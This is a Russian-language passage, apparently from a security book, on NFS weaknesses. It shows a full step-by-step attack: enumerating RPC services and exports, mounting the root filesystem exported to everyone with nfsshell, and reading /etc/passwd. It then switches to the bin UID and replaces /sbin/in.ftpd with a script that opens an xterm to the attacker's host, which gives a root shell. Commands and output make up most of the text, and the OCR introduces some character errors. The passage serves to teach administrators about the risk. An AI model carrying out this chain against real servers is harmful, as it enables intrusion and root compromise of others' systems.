NFS

В документах компании Sun Microsystems можно встретить такое определение: "Сеть — это и есть компьютер". Действительно, возможности компьютера, не подключенного к сети, гораздо уже, чем его собрата, включенного в локальную или глобальную сеть. Возможно, именно из-за этого сетевая файловая система (NFS — Network File System) является одной из самых популярных файловых систем, предназначенных для поддержки сетевой обработки данных. Система NFS обеспечивает пользователям и приложениям прозрачный доступ к файлам и каталогам удаленных систем, как если бы эти файлы и каталоги были локальными. NFS была разработана компанией Sun Microsystems, и за годы, прошедшие после выхода версий 1 и 2, была значительно усовершенствована. В настоящее время система NFS версии 3 используется в большинстве современных клонов UNIX. Именно поэтому администратор любой системы, разрешающей удаленный доступ к экспортируемой файловой системе, должен быть особенно бдительным. Вероятность использования системы NFS для проникновения в сеть очень высока, а нарушения такого рода являются одними из самых распространенных нарушений безопасности UNIX. Это связано, во-первых, с -тем, что в сервере NFS (mountd) уже выявлено очень много потенциальных ошибок, приводящих к переполнению буфера. Кроме того, системой NFS используются службы RPC, что позволяет взломщикам смонтировать удаленную файловую систему. Большинство проблем, связанных с безопасностью NFS, имеет то или иное отношение к объектам, называемым дескрипторами файлов (file handle). Дескрипторы файлов — это уникальные маркеры, предназначенные для идентификации файлов и каталогов удаленного сервера. Если взломщику удастся выведать или подобрать дескриптор удаленного файла, он сможет легко получить к нему доступ.
Чаще всего проблемы с системой NFS связаны с ее неправильной настройкой, когда экспортирование файловой системы разрешено любому пользователю (everyone). Иными словами, любой удаленный пользователь может смонтировать файловую систему, не проходя аутентификации. Эта проблема относится к разряду тех, которые возникают из-за лени или халатности некоторых администраторов и встречаются сплошь и рядом. Взломщику даже не нужно взламывать такую удаленную систему — все что требуется, это смонтировать файловую систему с помощью средств NFS и найти любой интересующий его файл. Обычно можно экспортировать рабочие каталоги пользователей так, что с помощью удаленного доступа можно получить множество интересных файлов (например, целые базы данных). Более того, экспортируется даже корневой каталог, о последствиях чего даже не нужно говорить! Давайте рассмотрим один пример, а затем рассмотрим инструменты, с помощью которых из системы NFS можно извлечь дополнительную пользу.
Итак, проверим интересующую нас систему и определим, используется ли в ней система NFS и какие файловые системы экспортируются (если таковые имеются, конечно).

[tsunami]# rpcinfo -p quake
program vers proto port
100000 4 tcp 111 rpcbind
100000 3 tcp 111 rpcbind
100000 2 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100000 3 udp 111 rpcbind

100000 2 udp 111 rpcbind
100235 1 tcp 32771
100068 2 udp 32772
100068 3 udp 32772
100068 4 udp 32772
100068 5 udp 32772
100024 1 udp 32773 status
100024 1 tcp 32773 status
100083 1 tcp 32772
100021 1 udp 4045 nlockmgr
100021 2 udp 4045 nlockmgr
100021 3 udp 4045 nlockmgr
100021 4 udp 4045 nlockmgr
100021 1 tcp 4045 nlockmgr
100021 2 tcp 4045 nlockmgr
100021 3 tcp 4045 nlockmgr
100021 4 tcp 4045 nlockmgr
300598 1 udp 32780
300598 1 tcp 32775
805306368 1 udp 32780
805306368 1 tcp 32775
100249 1 udp 32781
100249 1 tcp 32776
1342177279 4 tcp 32777
1342177279 1 tcp 32777
1342177279 3 tcp 32777
1342177279 2 tcp 32777
100005 1 udp 32845 mountd
100005 2 udp 32845 mountd
100005 3 udp 32845 mountd
100005 1 tcp 32811 mountd
100005 2 tcp 32811 mountd
100005 3 tcp 32811 mountd
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100227 2 udp 2049 nfs_acl
1C0227 3 udp 2049 nfs_acl
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100227 2 tcp 2049 nfs_acl
100227 3 tcp 2049 nfs_acl

Обратившись к службе преобразования портов, на основе полученных результатов можно сделать вывод о том, что на удаленной системе запушены серверы NFS и mountd. Это означает, что данная система может экспортировать как минимум одну файловую систему.

[tsunami]# showmount -е quake
Export list for quake:
/ (everyone!
/usr (everyone)

Из результатов, полученных с помощью команды showmount, видно, что в рассматриваемом примере экспортируемыми является не только файловая система /usr, но и /, что связано с очень большим риском. Все, что нужно сделать взломщику для получения доступа к такой системе, — это воспользоваться командой mount / или mount /usr. После этого он получит доступ к любому файлу файловой системы / или /usr, в соответствии с разрешениями, заданными для файлов и каталогов. Команда mount входит в состав большинства клонов UNIX, хотя она оказывается и не такой гибкой, как некоторые другие средства. Для того чтобы познакомиться с особенностями использования команды mount более подробно, введите команду man mount, так как в некоторых случаях ее синтаксис может отличаться от того, который вы увидите в приведенном ниже примере.
[tsunami /root]# mount quake:/ /mnt
Другим, более удобным, инструментом исследования системы NFS является пакет nfsshell, разработанный Линдертом Ван Дорном (Leendert van Doom), которую можно найти по адресу ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz. В состав пакета nfsshell входит робастный клиент nfs. Этот клиент функционирует подобно клиенту FTP и позволяет легко манипулировать удаленной файловой системой. Многочисленные параметры nfs заслуживают того, чтобы привести их в данной книге.

[tsunami n£s]# nfs
nfs> help
host <host> - установка имени удаленного узла
uid [<uid> <secret-key>]] - установка идентификатора удаленного
пользователя
gid [<gid>] - установка идентификатора удаленной группы
cd [<path>j - изменение рабочего каталога на удаленном узле
led [<path>] - изменение рабочего каталога на локальном узле
cat <filespec> - вывод на экран заданного файла
Is -I <filespec> - просмотр содержимого удаленного каталога
get <fiiespec> - получение удаленного файла
df - информация о файловой системе
rm <file> - удаление файла на удаленном узле
in <filel> <f.ile2> - создание ссылки на файл
rnv <filel> <file2> - перемещение файла
mkdir <dir> - создание каталога на удаленном узле
rmdir <dir> - удаление каталога на удаленном узле
chmod <mode> <file> - изменение атрибутов файла
chown <uid>[.<gid>] <file> - изменение владельца
put. <Iccal-file> [<remote-file>] - отправка локального файла
mount [-upTU] [-P port] <path> - монтирование файловой системы
umount - демонтирование удаленной файловой системы
umountall - демонтирование всех удаленных файловых систем
export - просмотр списка всех экспортируемых файловых систем
dump - просмотр всех смонтированных удаленных файловых систем
status - вывод отчета о состоянии
help - вывод данной информации
quit - название говорит само за себя
bye - good bye handle [<handle>] - просмотр/установка дескриптора файла каталога
mknod <name> [b/c major minor] [p] - создание устройства

Сначала нужно сообщить утилите nfs, файловую систему какого узла необходимо смонтировать.

nfs> host quake
Using a privileged port (1022)
Open quake (192.168.1.10) TCP

Затем посмотрим, какие файловые системы можно экспортировать.

nfs> export
Export list for quake:
/ everyone
/usr everyone

Теперь, чтобы получить доступ к файловой системе /, необходимо ее смонтировать.

nfs> mount /
Using a privileged port (1021)
Mount '/', TCP, transfer size 8192 bytes

Проверим состояние соединения и определим идентификатор UID, с которым была смонтирована файловая система.

nfs> status
User id : -2
Group id :-2
Remote host :'quake'
Mount path :' / '
Transfer size : 8192

Итак, мы смонтировали файловую систему / с идентификаторами UID и GID, равными -2. Из соображений безопасности, если вы монтируете удаленную систему как суперпользователь root, ваши идентификаторы UID и GID подменяются другими значениями, отличными от 0. Поскольку мы смонтировали всю файловую систему, теперь без труда можно увидеть содержимое файла /etc/passwd.

nfs> cd /etc
nfs> cat passwd
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
Ip:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp
Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody: /:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
gk:x:1001:10::/export/home/gk:/bin/sh
sm:x:lC03:10::/export/home/sm:/bin/sh

Итак, теперь нам известны имена пользователей и соответствующие им идентификаторы. Однако файл паролей является скрытым (shadowed), поэтому им нельзя воспользоваться для взлома паролей. Поскольку мы не можем взломать ни одного пароля и, соответственно, не можем смонтировать файловую систему в качестве суперпользователя, необходимо определить другие идентификаторы пользователей, которые позволяют получить привилегированный доступ. Таким пользователем может оказаться daemon, но лучше всего остановить выбор на учетной записи bin. или UID 2, так как на многих системах пользователь bin является владельцем исполняемых файлов. Если взломщик сможет получить доступ к исполняемым файлам посредством системы NFS или каким-либо другим способом, то у большинства систем в таком случае не останется ни единого шанса на выживание. Затем нужно смонтировать систему /usr, изменить идентификаторы UID и GID, а затем попытаться получить доступ к исполняемым файлам.

nfs> mount /usr
Using a privileged port(1022)
Mount '/usr', TCP, transfer size 8192 bytes.
nfs> uid 2
nfs> gid 2
nfs> status
User id : 2
Group id : 2
Remote host: 'quake'
Mount path : '/usr'
Transfer size : 8192

Теперь мы обладаем всеми привилегиями, которыми обладает пользователь bin на удаленной системе. В нашем примере файловая система не была экспортирована с какими-то специальными параметрами, которые ограничивали бы возможности пользователя bin по созданию или модификации файлов. Поэтому все, что осталось сделать, — это запустить программу xterm или создать обратный канал к нашей системе, который позволит получить доступ к взламываемой системе.
Создадим на нашей системе следующий сценарий и сохраним его в файле in. f tpd.

tt!/bin/sh
/usr/openwin/bin/xterm -display 10.10.10.10:0.0 &

Теперь нужно перейти в каталог /sbin удаленной системы и заменить исходный файл in. ftpd нашей версией.

nfs> cd /sbin
nfs> put in.ftpd

И наконец, необходимо указать, чтобы удаленный сервер подключился к Х-серверу нашего узла с помощью команды xhost. Для этого нужно ввести следующие команды.

[tsunami]# xhost +quake
quake being added to access control list
[tsunami]# ftp quake
Connected to quake.

В результате выполнения всех этих действий наша система станет X-терминалом удаленного узла с привилегиями root. Ввиду того что в этой системе файл in. ftpd вызывается из файла inetd с привилегиями суперпользователя, наш сценарий также будет выполнен с этими привилегиями, что означает получение доступа в качестве суперпользователя.

# id
uid=0{root)gid=0(root)
#

Содержание раздела